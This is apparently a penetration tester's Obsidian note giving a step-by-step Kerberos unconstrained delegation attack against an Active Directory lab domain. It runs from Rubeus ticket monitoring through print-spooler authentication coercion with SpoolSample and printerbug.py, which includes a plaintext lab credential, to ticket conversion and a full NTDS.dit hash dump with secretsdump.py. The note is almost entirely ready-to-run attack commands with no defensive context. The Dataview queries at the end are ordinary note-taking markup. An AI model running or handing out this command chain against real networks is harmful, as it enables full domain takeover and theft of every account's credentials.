Kerberos Unconstrained Delegation

Technique Info

Step One - Enable Rubeus.exe Monitor Mode

Command

execute-assembly /home/jorkle/Rubeus.exe monitor /interval:5 /targetuser:KINGSLANDING$ /nowrap

Example

Step Two - Coerce Authentication

Coerce Authentication with SpoolSample.exe

Download https://github.com/leechristensen/SpoolSample

Command

execute-assembly /home/jorkle/SpoolSample.exe kingslanding.sevenkingdoms.local winterfell.north.sevenkingdoms.local

Example

Coerce Authentication with printerbug.py

Download https://github.com/decoder-it/printerbugnew

Command

python3 printerbug.py north.sevenkingdoms.local/arya.stark:Needle@kingslanding.sevenkingdoms.local winterfell

Example

Step Three - Wait for and Record TGT Ticket

Example

• Save the base64 encoded TGT Kirbi ticket to a local file on your attacker machine in a base64 decoder form.

Step Four - Convert TGT from Kirbi to Ccache using ticketConverter.py

Command

ticketConverter.py ./ticket.kirbi ./ticket.ccache

Example

Step Five - Dump NTDS.dit with secretsdump.py

Preparation for Kerberos Authentication

• Configure your environment variable with export KRB5CCNAME="$(pwd)/ticket.ccache"

Command

secretsdump.py -k -no-pass SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING

Example

Related

Related Notes

All Related Notes

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows") OR contains(tags, "active-directory") OR contains(tags, "kerberos") OR contains(tags, "delegation") OR contains(tags, "lateral-movement")
SORT file.ctime DESC

windows

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows")
SORT file.ctime DESC

active-directory

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "active-directory")
SORT file.ctime DESC

kerberos

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "kerberos")
SORT file.ctime DESC

delegation

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "delegation")
SORT file.ctime DESC

lateral-movement

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "lateral-movement")
SORT file.ctime DESC